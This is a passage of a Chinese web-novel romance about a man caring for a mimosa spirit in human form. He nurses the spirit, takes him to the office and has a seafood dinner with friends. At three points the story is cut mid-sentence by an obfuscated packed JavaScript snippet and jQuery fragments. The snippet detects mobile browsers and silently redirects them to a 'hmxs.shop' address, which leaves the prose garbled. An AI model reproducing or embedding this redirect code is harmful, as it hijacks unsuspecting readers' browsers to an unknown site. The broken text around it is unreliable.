大家为什么讨厌他……
-
秦宿枭在山区田园里等了两个小时,迟迟不见小草的踪迹,难不成找到家了,不想回来?
此处山色清朗,水光潋滟。几间茅屋隐现于山脚,人烟稀少,田园充满了青草的淡香。汽车泊在一旁的泥地上,他在草坪上转悠,轻轻踢动着地上的石子。
秦宿枭终于等不住,往前面山林里走,刚跑过去,便看见从山上下来的少年。
他几乎不敢相信自己的眼睛,方才还笑着蹦蹦跳跳离开的小朋友,此刻竟浑身血迹,脸色苍白如纸。原本白皙的肌肤上布满细密割伤,连头顶那几片小叶子,也被咬破了边角。
“小草!” 秦宿枭急忙跑过去,刚伸出手,男孩便倒在了他怀中,不知道自言自语什么。
“我不回家了……”
“好疼……不回家了……”
秦宿枭急忙把人搂起来,抱着跑到汽车方向,将他放在副驾驶,男孩却抓着他衣服不撒手,眼泪啪嗒地往他怀里掉。
“早知道我还是跟着你过去!不哭了……到底发生了什么?”
江含修摇了摇头,不明不白地说:“是我自己过不去第一关的考验,也不知道精灵们为什么讨厌我……”
秦宿枭将他搂紧,心疼得厉害,他深呼吸放慢语气:“它们不要你回家,我要。”
江含修抬头看着他。
秦宿枭来到驾驶座启动汽车:“先送你去医院。”
话音刚落,旁边的少年身体往下滑,晕了过去,化作一团绿光,最后副驾驶上面只剩下一株含羞草。
这下好,不用去医院了。
有植物医院吗?
秦宿枭也没带盆,刚把小草捧起来,他的叶片就簌簌掉落,藤蔓像是被虫啃了似的,很多洞,他也不敢继续碰,只好放下。
这个森林到底是什么地方,连刚化形的含羞草都不放过。
-
最终,秦宿枭加速驱车,油门踩到底,闯了红灯,才把小草带回来,迅速栽进客厅的花盆里,马上浇水。
含羞草稍微动了动,享受水源,有了点生机。
秦宿枭轻轻抚摸草叶,指尖传来柔嫩的触感。
小草仿佛感知到什么,伸出细软的藤蔓,悄悄缠绕上他的手指,像一个小心翼翼的拥抱,无声地寻求依偎。
他的目光顿时柔情,心口被一股温热填满。虽然相识不久,却已经想要将它保护起来。
“以后乖乖待在我身边吧。”
-
江含修昏迷多天,他又想起了很多事。
山神大人的一句话,让他好好去学知识。结果去了地球的森林,被砍柴的人类当普通植物拔走,九死一生才逃回来。
那天,男人冲他发了火。胸膛剧烈起伏着,每个字都很震耳欲聋:“你知不知道!那地方有多危险!”
少年跪在他面前眼泪汪汪的:“山神大人,我知道错了……我只是想去学习,怎样喜欢一个人,免得惹您生气。”
山神哑口无言,因为他随口的一句话,让这株天真的小草跑到地球森林里去,待了几个月才回来,差点被当成火苗子烧了。
他拍了拍小草的肩膀:“从今天起,以后有什么不明白的,来找我,我教你。”
“真的吗?” 少年开心地扬起脑袋,在他脸颊轻轻地吻了下,“谢谢山神大人,我一定认真学习。”
山神本不该动心。然而少年这个懵懂的吻,却让他错愕失神,那般纯粹天真,分明什么都不懂,却什么都敢做。
“你不觉得我性格很古怪吗?”
少年摇头:“那是因为无人能理解你,其实您并不喜欢孤独,也不喜欢庇佑天下,只是因为使命,不得不低头。其实,您也喜欢外面的世界对吗?”
这句话说到了山神心坎上,其他人对他是敬畏、惧怕,而他无所畏惧,胆大妄为,原来在这个世界,还有人能看透他的心思。
少年抬起他的手腕,细白的五指插入他手中,两人十指相扣,他说:“从今天起,你不是神,我也不是精怪,我们是朋友,可以吗?”
男人沉默良久,盯着他那双漂亮的手,回答:“好。”
——
“我想看看……你的脸。”
江含修喃喃自语,双手捧在男人的脸颊上,靠近后,轮廓反而变得更模糊,仿佛戴着面具,他记不清这个人的长相。
他睁开眼,突然看见近在咫尺的脸,是秦宿枭,吓得他双手指尖轻颤,尖叫了一声。
“啊!”
秦宿枭抓住他的手腕:“终于醒了,一直说梦话,捧着我的脸自言自语。”
江含愣怔两秒,回过神抱住他的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16829014|190682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脖颈,低声幽怨道:“我记得,我和山神是朋友,可是……我想不起来他的样貌。”
秦宿枭神情复杂,抬头皱眉问他:“真的很重要吗?”
江含修点头:“嗯,是他教我如何做人。”
秦宿枭刨根问底:“比我好?”
江含修眨了眨眼,摸着脑袋认真思考了片刻,最后小声但清晰地回答:“好像……是比你好一点点。山神是很伟大的神明,却愿意和我做朋友。”
他似乎想起了什么,又压低声音补充:“树爷爷曾说,森林里许多精怪能成功化形,都离不开山神的苦心栽培和长久庇佑,所以,我很喜欢他。”
“哦。” 秦宿枭没多余说话,起床倒了杯水递给他,“你休息吧,我去上班,在家不要乱跑。”
“好。” 江含修捧着杯子里的水喝完,刚想说不够,眼前的人已经消失了。
嗯?怎么感觉人类又生气了,哪里出问题了吗?
江含修爬起来,来到客厅继续喝饮水机的水,抬头看见别墅角落里多了三个监控,全方位都能看见他在做什么。
“这是什么?”
秦宿枭在玄关处换鞋,回答他:“监控,以后我在外面也能看到你,防止发生意外。不许出这个门,我给你买了部手机,在茶几上面,如果你偷偷跑出去,我会给你打电话,铃声响了必须接。”
“好。” 江含修乖乖点头。
秦宿枭硬是请了几天假,堆积如山的工作被抛在脑后,日夜守在小草身边。整整三天三夜,心中焦急又担忧。
夜深时,他便将小草轻轻拥在怀中,用体温小心地护着。
听到他说身体疼,几乎不敢合眼,就怕自己睡着后,小草就无声无息地枯了下去。
结果呢。
江含修的心里,还有更重要的朋友,根本没有把他放在心里,真是一株邪恶坏草。
十分钟后。
江含修正在客厅坐着研究手机怎么玩,听到外面传来敲门声。
铃声响起,他看见手机屏幕显示:秦宿枭。
他学着上次接听电话滑了下:“喂?”
秦宿枭笑:“你倒是学得快,外面送水的来了,开门让他们搬进来,不要和他们多余说话。”
“好。”
江含修跑到门口,身上只披了件单薄的衬衣。
秦宿枭正在开车,低头看向监控里的画面,又打电话,让他把卧室的睡衣穿上。
江含修在卧室穿衣服,把自己裹成粽子,才来到客厅打开门,瞬间被眼前的景象惊呆。
“你好,送水的,请问五十桶水,是放在这里吗?”
江含修愣愣地点头:“搬……搬到那个空卧室去吧,好像有点挡路?”
送水的两位师傅,把所有的桶装水搬到卧室,最后两人离开的时候,还在自言自语。
“最近有什么奇怪的新闻吗?怎么还有人囤水。”
“没有吧,又不是丧尸末日来了。”
江含修开开心心地拿出手机,在屏幕上面乱点,不知道怎么才能听见秦宿枭的声音。
他胡乱点了十分钟,终于拨过去了。
秦宿枭:“嗯?”
江含修:“这个机器很好玩,还能听到你讲话,谢谢你给我买的水,可是我能喝池子里的水呀。”
秦宿枭:“你现在是人类的身体,不能喝自来水,细菌、病毒、寄生虫,都有可能会出现,这些对身体不利,需要喝饮用水。”
江含修虽然听不懂,但是很开心,这下不会在家里被渴死了。
13.养小朋友
太阳落于西山,天空铺满了晚霞。
秦宿枭下班回到家,刚推开门,就看到沙发上的男孩兴奋地跑过来。头顶的几片小草左右摇晃,比前些天精神许多,枯萎的叶子也都成了嫩绿色。
江含修趴在他怀里,衣服往下掉,肩膀外露,像小猫似的蹭了蹭男人胸膛。
秦宿枭摸了下他脑袋:“黏人精。”
“明天能不能让我跟着你?一个人在家很无聊。” 江含修跟在他身后,秦宿枭脱外套,他把衣服顶在头上,跑到沙发那里放下。
秦宿枭勒起袖子,打开冰箱说:“今天晚上教你玩手机,上班的地方很忙,带着你不安全,你又喜欢乱跑。”
“我不会乱跑的。” 江含修凑过去贴着他,“求求你,哥哥,哥哥你最好,哥哥。”
秦宿枭捂住他的嘴,喊得他心神不宁,再次下令:“不要喊叠词,以后直接喊哥,还有,别在我面前撒娇。”
“什么是撒娇?” 江含修很困惑,怎么一直改称呼。
秦宿枭:“你现在就在撒娇,一边去玩,我要做晚饭。”
江含修也很听话,跑到一边去玩手机,又在偷喝抽屉里面的营养液和植物化肥。
秦宿枭切完菜看了眼男孩的背影提醒道:“少喝点,待会还要吃饭。”
他说完这句话,突然想起小时候,父母也是这样让他别吃太多零食,怎么越来越像老父亲。
江含修也听进去了,平时可以喝十包营养液,今天只喝了一包,他平时看秦宿枭喝水,一杯就够了,饭量也比他少。
小草跑到厨房,站在秦宿枭身后,双手往胸前一抱,看着他切葱问道:“我像饭桶吗?”
秦宿枭:“嗯?又从哪里学来的词?”
江含修一本正经的解释:“今天玩了一天的机器,刷到个吃饭的视频,那个人才吃了三碗、两个面包,就有人说他是饭桶。”
秦宿枭耐心教导:“首先,给你买的东西叫做手机,不是机器。第二,你是饭桶。”
江含修茫然地点头:“哦。饭桶就饭桶吧,要吃饱才能安心修炼,我要提升灵力,暴揍那群坏精灵,要用实力告诉他们,我是很厉害的森林之神。”
秦宿枭叹了口气:“别去了吧,上次你浑身是血倒在我怀里,让我惊魂未定,也很内疚,好歹是我养的植物,要对你负责。”
“放心吧,我很厉害的!只是灵力尚浅,那天没发挥出来,以后天天修炼,就会越来越强大。” 江含修走到他身旁,突然抬手用力拍了下台面,斗志昂扬道:“我还能保护你!”
啪——
厨房的瓷砖台面突然裂开,秦宿枭瞳孔紧缩,满脸愕然盯着旁边的小精灵,又不可思议地看了眼破碎的台面,徒手劈砖?
这小不点干的?
江含修低笑两声,小嘴叭叭讲个不停:“我是不是很厉害,你们人类,在我手里如同蚂蚁一样,不要小看成精后的含羞草,所以我……唔,为什么推我……”
“别再展现你的神力和萌力了。”
秦宿枭将人推出门外,转身靠着墙,揉了揉太阳穴一副无奈的表情,明天还要请个师傅修厨房。
能单手拎起水桶的人,干出这种事来,倒也不稀奇。
太傻了,江含修这个智商,在外面很容易被当成怪物,也不能责怪他,只活在森林里长大的小草。
秦宿枭在厨房忙碌十分钟,煮了两碗肉丝面,三个荷包蛋,江含修的碗里有两个。
“过来,洗手吃饭。”
江含修从沙发上坐起来,跑到厨房洗手,乖乖地坐在餐桌前,闻了闻说:“好香。”
秦宿枭嘴角扬起:“地球还有很多美食,等周末休息,我带你出去吃。”
“谢谢哥!”
江含修学会了筷子夹菜,但是夹面条很困难,当了三百年的植物,没想到要学这些东西。
秦宿枭拍了拍旁边的椅子:“坐过来。”
江含修:“哦。”
江含修捧着自己的碗走过来,坐在男人身边。
秦宿枭右手绕过去,握住他拿筷子的手,一边指导:“手往上面一点,夹住的地方稍微用力。”
“起来了。”
“嗯。”
江含修正要将面条送入口中,却因两人靠得太近,扭头便撞进了对方深邃的眼里。
呼吸在极近处交织,目光相触的刹那,像被什么无形的东西轻轻绊住,彼此之间移不开眼,望着对方发愣。
秦宿枭眉心跳了跳,这双清澈的大眼睛,竟然感觉似曾相识,记忆中并没有见过这个人,兴许是每天面对很多客户的缘故,什么人都看着面熟。
江含修捧住他的脸,突然凑过去亲了亲:“哥,你长得真好看。”
秦宿枭:“……”
秦宿枭推开他脑袋:“我是不是教过你,不能随便亲别人?”
江含修苦恼道:“对啊,你不是别人,我要和你谈恋爱。”
秦宿枭震惊瞪眼:“你说什么?”
江含修的神情认真起来:“谈恋爱,就能在一起一辈子。你之前给我喝血,帮我修炼成人,所以,我也会报答你的。”
秦宿枭松了口气,原来只是想报答。小草根本不懂恋爱真正的含义,一棵心智稚嫩的草,懵懂得仿佛只有三五岁年纪,往后要学的,实在太多。
“如果你找到了山神,怎么能和我待一辈子,你肯定会和他在一起。”
江含修低头吸了几口面条,边嚼边说:“不会的,山神大人已经去世,就算能找到他,也是在森林里。只要有空闲,我就能出来陪你,我们都是朋友。”
秦宿枭无奈道:“快吃饭吧,今天自己洗澡,能行吗?”
江含修点头,植物洗澡有什么难的。
-
晚上八点,秦宿枭冲完澡回到卧室,松垮的浴袍随意系在腰间,湿发还带着水汽,几缕黑发垂在额前。
江含修还在里面洗澡,没有关门,方便有什么需求随时叫唤。
他侧身倚在床头,衣领微敞,灯光下胸膛的线条半掩半露,腰身窄而利落。手机屏幕的光映在他脸上,男人垂着眼,指尖在屏幕上不紧不慢地划着。
秦宿枭给他下了很多软件,还有小游戏,注册微信,神情很专注。
二十分钟后,他听到一声响。
咚——
秦宿枭立马起身,就看见江含修已经从卫生间走出来,他低头捂着鼻子闷声靠近:“我洗完了。”
“摔跤了?”
“没有啊。”
“那你捂着鼻子。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833479|190682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>秦宿枭抓开他的手,江含修感觉鼻子里面一股热流溢出,血滴在了地板上,吓得男人迅速抽了张纸巾,堵住鼻孔。
“你真是笨蛋!”
江含修被拖过去清洗脸,听着他在耳边碎碎念:“别仰头,身体微微前倾,我把毛巾打湿一下,过来,稍微按压着,冷毛巾可以收缩血管。”
“嗯……” 江含修一动不敢动,“泡泡太多,地滑,站起来擦身体的时候摔了一跤。”
“你智商到底几岁?” 秦宿枭忍不住问。
江含修思考片刻,一本正经地说:“如果在人类世界,按我重生的年龄,是一岁。”
“行。” 秦宿枭哑口无言。
“我刚刚怕你凶我,所以才撒谎。” 江含修闷声。
秦宿枭直视着他:“你觉得我性格很凶吗?”
江含修摇头:“没有,你很温柔,情绪也稳定。”
“那你担心什么。” 秦宿枭松开手,看见男孩白皙的鼻尖泛红,鼻血止住,他找了点药膏,轻轻在皮肤表面涂抹了两层。
江含修:“因为你态度总是阴晴不定,一会儿让我喊爸爸,一会儿哥哥,又不让说叠词,我以为自己做错什么了。”
秦宿枭把人塞进被子里,走到旁边躺下:“真拿你没办法,随便喊吧,虽然你活了三百年,但也只是小草而已。在人类世界,根据五官的长相分辨年龄,而你只有一岁,看你这样貌……似乎也就十八岁。”
“随便喊吗?”
“嗯。” 秦宿枭不想和小草计较。
江含修咧开嘴笑:“爸爸。”
秦宿枭:“……”
看来还是需要计较一下。
秦宿枭拿出手机打了个哈欠,眼底有点困意:“先别纠结称呼了,我教你用手机,方便以后出行,陌生电话不要接,有什么事情给我发微信,学习两小时就睡觉。”
“好。”
秦宿枭拿出手机,旁边的男孩一溜烟就钻进了他怀里,他愣了片刻,想到含羞草什么都不懂,只好这样抱着他教。
江含修认真学习,头顶的小草叶子晃来晃去,像是在思考。
秦宿枭垂眸,低声问:“为什么总是喜欢躺在我怀里?”
江含修面无表情回答:“很暖和啊,可以互相取暖。”
秦宿枭:“哦……”
他现在清楚的明白,江含修眼里的喜欢,不是真的“喜欢”。
他眼里的拥抱、亲昵,也不含任何复杂的感情,小草的心里,是一片白纸。
秦宿枭滔滔不绝地讲了两个小时,介绍手机功能,正说到兴头,忽然感到怀里微微一沉。
男孩毛茸茸的脑袋不知何时已滑落在他胸前,连头顶那株精神抖擞的小草,此刻也软软地抿了下去。
均匀而轻缓的呼吸声传来,他低头打量,小草不知什么时候已经睡熟了。
……怎么又睡着了?
“小草?”
秦宿枭不由得有些好笑。一株植物,竟比他还容易犯困,回回都抢先一步跌进梦乡里。
“还真是像养小朋友一样。”
江含修缩成团睡觉,双眸紧阖,安静地躺在旁边,他又瘦又小,很听话,秦宿枭产生一种淡淡的怜爱感。
“小草,晚安。”
14.带去上班
清晨阳光和煦,秦宿枭早早出门采了些清亮的露水,回来细心地浇灌小草,当作它今日的早餐。
随后,他拿起车钥匙,披上那件笔挺的黑色西装外套,推门走了出去。
江含修立马从餐桌上站起来,跑到门口,嘴里咬着半个三明治,目光依依不舍地望着男人的背影。
秦宿枭听到脚步声回过头,只看一眼,心便又软了下去。
男孩身上松松垮垮地套着睡衣,手里吃了一半的食物还捏着,就这样静静站在门口目送他离开。
晨光里望去,那双眼睛微微发红,昨天磕到的鼻梁还隐约有些肿,小小一个人立在玄关处发呆,看着怪可怜的。
“吃完饭回去睡觉。” 秦宿枭嘱咐。
他觉得这个场面,有点像小时候读书时,父母要出去工作,单亲小孩孤零零坐在石墩上,每天盼望着能早日见到亲人。
江含修垂眼:“真的不可以跟着你吗?我很乖,不会乱跑的。”
“不行。” 秦宿枭拒绝。
江含修蹲在门口,继续抱着三明治啃,抬手揉了揉眼睛,是被风吹了下,秦宿枭却以为他快哭了。
秦宿枭终究是没忍住,转身快步走回别墅。
他取来外衣轻轻披在男孩身上,又找出昨天买的那顶针织小猫圆帽,给他戴上,帽檐温软地压下,正好掩住了他发间那几片小小的叶子。
“绝对不能摘掉帽子,如果被别人发现身份,我以后再也不会把你带出去。我上班时间比较忙,你就在我办公室玩手机。”
江含修开心点头:“好。”
-
摩天大楼总高一百零六层,汽车驶过楼后的工业区,自正门转入停车场,在保安的引导下,最终稳稳停在了地面车位。
秦宿枭把车上的文件夹拿在手里:“下车,见到任何人都不要说话。”
江含修应声下车,目光触及那栋高楼时猛然一怔。他不由自主地仰起脸向上望去,楼身笔直延伸,几乎望不到顶端,视线尽头唯有烈阳灼眼。这楼高得惊人,快赶上森林里活了千年的树爷爷。
保安在旁边打了声招呼:“秦总好。”
秦宿枭微微颔首:“嗯。”
江含修悄悄侧眸望去,眼前的男人神情专注,眉宇间凝着工作时的严谨,与在家时温柔含笑的样貌判若两人。剪裁合体的西装衬得他身姿挺拔,透出一种平日少见的成熟与沉稳。
秦宿枭走进大楼,看了眼旁边的男孩介绍:“这栋大楼是时兴集团,有一百个投资老板,创业合伙人二十个,发明家为数不多,如果在这里迷路了,报我名字,基本上都认识我。”
江含修愣着点头:“好。”
原来爸爸这么厉害。
秦宿枭拿出工作卡刷了下门禁:“你先进去。”
江含修乖乖地跟在他身边,第一次做人类的电梯,他左右观望,看着门关上,下意识攥紧了秦宿枭的胳膊。
“为什么要把人关起来?”
秦宿枭:“这是电梯,处于上升状态,一百多楼,和你们森林里的大树一样,上去需要坐电梯。”
江含修恍然大悟,又好奇道:“可以把这个安装在森林里吗?是不是可以坐这个上树。”
秦宿枭:“……”
“不可以。”
电梯很快停在五十二层,秦宿枭出来的时候,把江含修牵了出来,往办公室方向走:“你先去我办公室,我待会要出去工作。”
“哇靠!这谁啊!!”
秦宿枭还没进办公室,就被对面冲过来的周止拦住,他摸了摸鼻子,一副稀奇的眼神打量旁边的男孩,眯起眼问:“这谁?”
江含修下意识地往秦宿枭身后躲了躲,指尖紧紧攥住他的掌心。
这一层只有两间办公室,左边是周止的设计部门,十来人的团队正在忙碌。
右边整层都属于秦宿枭,他不仅是时兴集团的投资人,更是备受瞩目的人工智能项目核心人物,因此享有独立的办公空间。
江含修见过他,上次秦宿枭中毒,他来过家里,不仅如此,这人也去过森林。
秦宿枭冷瞥了他一眼:“我家里的远房表弟,他父母意外去世,被送到我这里来,受了点刺激,现在精神状态有问题,所以我把他带过来。”
周止眉头一皱:“有这种事?哪个表弟?以前没听你提起,我小时候见过吗?他父母是谁啊,怎么这么惨,哎哟,这么漂亮的小可爱。”
他抓住江含修的两个脸颊捏了捏:“皮肤真嫩,小朋友,毕业了吗?还在上学?叫周哥哥。”
“唔。” 江含修甩了甩头,往秦宿枭怀里缩,双手抱着他胳膊:“爸爸,他是你朋友吗?”
周止愕然瞪大眼睛:“什……什么?爸爸?卧槽!秦宿枭,你这个变态啊,人家都精神出问题了,你竟然还贪便宜捡儿子?”
“滚。” 秦宿枭一脚踹过去,把他踢到一边,往办公室里走
周止还在后面骂:“禽兽!小朋友快跟我走,他是坏人。”
江含修有些疑惑地抬起头,缓缓走进办公室。
客厅中央是一扇巨大的落地窗,前方毫无遮挡。他走到窗前,整座城市竟一览无余,高楼林立、街巷纵横,仿佛铺展在云端之下。
常年在森林生活的他,见过很多高树,对这个高度并无畏惧,反倒觉得眼前景象颇为壮观。
“好美。”
秦宿枭把手机的文件放在电脑旁边,拿出抽屉里的备用工作卡,挂在江含修脖子上。
“这个门禁可以刷大楼,还有我办公室的门,上厕所出门左转,我休息室也有单独的。”
周止又敲了敲门,很慎重地告诉他:“你这样不是办法,耽误工作,要不然,把他送到精神病院吧?”
秦宿枭打开电脑,用U盘拷贝资料,说:“不用,毕竟是亲戚,我照顾他衣食起居,上班时间就在办公室玩,不影响工作。”
周止悄悄在他耳边低声:“我觉得这症状挺严重的,先不说大热天,戴个毛绒的帽子。可以让陆北凛先给他诊断下。”
秦宿枭面无表情:“不要多管闲事。”
周止:“行,我好心提醒你,真是不知好歹。”
江含修趴在茶几上面,盯着一盆红掌发呆,于是闭上眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16839293|190682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,发动灵力,将植物的灵识激发。
“哇!我能说话了!天呐,你是森林之神吗?”
“快快快,谁给我修剪一下叶子,旁边两片叶子有虫洞,好难受!”
江含修眯起眼笑:“好可爱的红掌,我帮你修。”
他抬起手,摘掉红掌旁边的两片叶子,塞进嘴里咀嚼,成精后的含羞草,是可以吃植物的,还挺好吃。
周止瞳孔放大,双手扶着办公桌,哆嗦道:“秦宿枭……你你你你你表弟,他把红掌给吃了!这真的是精神病啊!”
秦宿枭拷贝完资料,镇定自若地提起周止的衣领,走之前说:“小修,你在这玩,不要乱跑,我要去忙工作了。”
江含修趴在茶几上开心回答:“好!”
秦宿枭离开后关上门,周止还在大声嚷嚷,说他有毛病,把这么严重的精神病带在身边,出问题了后果自负。
江含修低声自言自语:“小修……”
“爸爸第一次喊我的名字。”
江含修又凑到红掌跟前,跟它聊起森林里的往事。没聊多久,连这人类屋里的花草,似乎也接纳了他这不寻常的身份。
秦宿枭的桌上还摆着一盆仙人掌。江含修走过去,凝神催动灵力,试着唤醒它的灵智。
现在,仙人掌和红掌还能陪他聊天。
这两种本是人类培育的寻常植物,寿命本就不长,尤其是红掌,向来娇弱易逝。但江含修为它们开了灵智后,反倒能活得久一些了。
仙人掌:“老大,既然你是森林之神,那你会离开吗?”
江含修托着腮帮子说:“会离开,我很喜欢秦宿枭,想到这个地方,倒是不舍。”
仙人掌又说:“我陪了主人三年,从未见过他把人带到办公室,你一定是他很重要的人。”
江含修眯起眼睛,笑得像只小狐狸:“当然啦,我是喝了他的血才修炼成精的。他把我养大的,自然就是爸爸。”
仙人掌:“???”
红掌:“???”
江含修回想起来,就算秦宿枭不挖走他,自己还要很久才能修炼成人。反而那天喝了两次血,变得精神焕发,很快修炼成人,想到那个味道,还想再喝,他是吸血草。
也不知道其他人类的血,有没有这个功效,不过他也不能伤害人类。
江含修变回含羞草的本体,钻进红掌的土壤里,开始修炼,周围隐隐散发着绿色的光。
红掌:“哎哟,老大,你快把我挤歪了,怎么这么多叶子。”
“嘿嘿,我是很茂盛的小草,我要借你的花盆修炼,等爸爸下班回来带我去吃饭。”
江含修闭上双眼,沉浸于灵力的温润滋养之中。一株含羞草悄悄挨着红掌,两株植物挤作一团,那画面看起来有些可爱,又带点说不出的滑稽。
十一点的时候,有人敲办公室的门,江含修没有搭理,继续待在花盆修炼。
十二点时。
秦宿枭刚回来,推开门却没瞧见那抹熟悉的小身影。
他在屋里找了一圈,最后才在红掌的花盆边停下,原来含羞草正蜷在那儿,睡得正香。
15.认识朋友
秦宿枭拿起手机,打开微信,在联系人里找到助理,简短地发了条消息。
林助还以为是什么紧急任务,点开一看,原来是让他去买个花盆。
秦宿枭抬手轻轻抚摸含羞草,嫩叶下意识抿了起来,随着绿光慢慢消失,藤蔓先是缠住男人的手,然后化形成人。
男孩坐在茶几上,双手抱着他,纯真的眼睛眨了眨,模样乖巧:“爸爸。”
秦宿枭捂住眼睛,心生罪恶感,他压住心里的杂念,说:“其实养你的人,也不一定是父母。”
“那是什么?”
秦宿枭一时语塞,总觉得在外人面前叫“爸爸”不太妥当。
咚咚咚——
办公室的门突然被用力敲了几声,秦宿枭走过去开门,看见周止闯进来说:“走,吃饭去,最近发现了一家新开业的海鲜餐厅,我让陆北凛请客。”
“你们俩去吃吧,我带我表弟出去吃饭。” 秦宿枭站起来,江含修也跟着他。
周止疑惑走过去:“你直接把他一起带上不就行了吗?陆北凛升职了,我才让他请客,好不容易把人薅出来,必须宰他一顿。”
江含修还没拒绝,秦宿枭率先出声:“不了,他胆小,不想和陌生人在一起。”
“啊?”周止眉峰微蹙,倾身向前,仔细打量着眼前的男人:“你把我们当什么了?还胆小……这么大的人,我们能把他吃了不成?”
江含修满眼好奇:“哥,我想去。”
秦宿枭瞥了他一眼,原来小草并不是笨蛋,也会随机应变,终于学会在外人面前改称呼。
周止满脸笑容跑过去,抓住江含修的肩膀往外推,边说:“走走走,你还认识你哥,说明没有精神到很严重的程度,放心吧小朋友,咱都不是坏人。”
-
来到海鲜料理餐厅的时候,陆北凛也刚到门口,周止过去找了个包房,秦宿枭也正式介绍江含修给他们认识。
“他叫江含修,我远房表弟,父母离世后无依无靠,所以我带着他。”
陆北凛轻轻笑了笑:“看不出来,你还有这善心,精神病的症状严重吗?我以前学了点中医,需不需要把把脉。”
江含修两只手把帽子往下压了压,生怕被人发现自己是植物。
陆北凛问:“不热吗?”
江含修整张脸瞬间红透。
这并非源于情绪波动,而是紧张,像含羞草一样,他太容易害羞。
而这副模样落在陆北凛眼里,却透出几分不寻常。不过是打个招呼就脸红成这样,这人真是直男吗?
更何况还被养在家里……陆北凛皱了皱眉,他智商不比周止,什么远房表弟,他可从未听说过。
秦宿枭不停地勾选菜单,想借此转移注意力,陆北凛的目光果然被吸引,他抬腿踢了踢对方的椅子:“想让我倾家荡产?”
“陆医生真会说笑,你怎么会破产。”
周止也笑嘻嘻地拿出菜单勾菜品:“对啊,陆北凛,你下个月升职,工资翻倍,吃这点东西算什么。”
陆北凛冷着脸:“你怎么不说,宿枭除了研究人工智能,还成为了时兴集团的股东,他这种高管,比咱手上钱多吧。”
周止若有所思呲着牙乐:“有道理,明儿就让他请咱们出去吃大餐,必须万元起步。”
江含修静静坐在一旁,听着他们谈笑,目光却始终跟着秦宿枭。半晌,他轻轻拉了拉秦宿枭的衣袖,仰起脸轻声问:“他们都是你的朋友……那我呢?对你来说,我算是你的孩子,还是……你的朋友?”
“噗——” 周止喝下去的水全喷了出来。
陆北凛也跟着咳嗽两声:“咳……”
他们是在玩父子play吗?
秦宿枭皱眉,道:“朋友。”
“那我也可以喊你宿枭。” 江含修眼角弯起,笑得很甜。
秦宿枭扶着额头,无奈温柔笑笑,嗓音轻而温和:“可以。”
陆北凛仿佛看到了一位老父亲是如何溺爱孩子的场景,从爸爸、哥哥、宿枭,喊什么都能心安理得的接受,出门还得带在身边。
不对劲,上学时也没见他找过女朋友,单身到现在,难道他是GAY?
真奇怪。
这家新开业的海鲜餐厅品种颇为丰富,鱼虾蟹贝一应俱全。名贵的石斑与金枪鱼摆上桌,而当一份烹制好的波士顿龙虾被端过来时,江含修的眼睛不由得亮了又亮。
秦宿枭对这种食物习以为常,吃过无数次,只是旁边的小草有点激动,目光直勾勾地盯着大龙虾和帝王蟹。
江含修把一壶柠檬水喝完,又扯了扯秦宿枭的衣袖:“还是很渴。”
秦宿枭突然想起来,小草和普通植物不一样,他现在还在修剪阶段,胃口大,喝水也是十倍饮用。
秦宿枭走到包厢门口,对候在外面的服务员淡声吩咐:“再加十壶柠檬水。”
服务员怔了一下,以为自己听错了。在这种人均消费上万的餐厅里,还从没客人这样点过柠檬水。
“好的。”
包间门被推开,服务生陆续端进来十几壶柠檬水,整整齐齐摆满了餐桌。
陆北凛和周止看着眼前这阵仗,一时都说不出话。
周止:“不是……宿枭,你干嘛呢。”
江含修笑嘻嘻地把水壶拿过来,倒了好几杯往嘴里灌:“嘿嘿,是我口渴,和宿枭没有关系。”
秦宿枭总觉得这两个字,在他的嘴中出来,听起来很奇怪,可能是他喊爸爸听习惯了。
周止低声在陆北凛耳边说:“他弟是不是又发病了?”
陆北凛:“或许吧。”
江含修喝完水,拿起筷子想夹那个帝王蟹,秦宿枭按住他的手:“不是这样吃。”
秦宿枭拿起旁边剪刀,剪开蟹腿剥出来,轻松挑出里面金黄色的肉,放在了江含修碗里。
“吃吧。”
“谢谢哥。”
江含修拿起筷子尝了一口,眼睛顿时亮了起来。他激动地晃了晃双腿,腮帮子鼓鼓地嚼着,含糊不清地嘟囔道:“好吃……”
“慢点,别噎着。”秦宿枭一边说着,一边手上没停,细致地替他剥虾。
没几分钟,江含修的碗里就堆满了剔好的蟹肉和虾仁,旁边男人还在伺候着,时不时提醒他小心鱼刺。
对面的陆北凛和周止看得一愣一愣的,半晌没说出话来。<
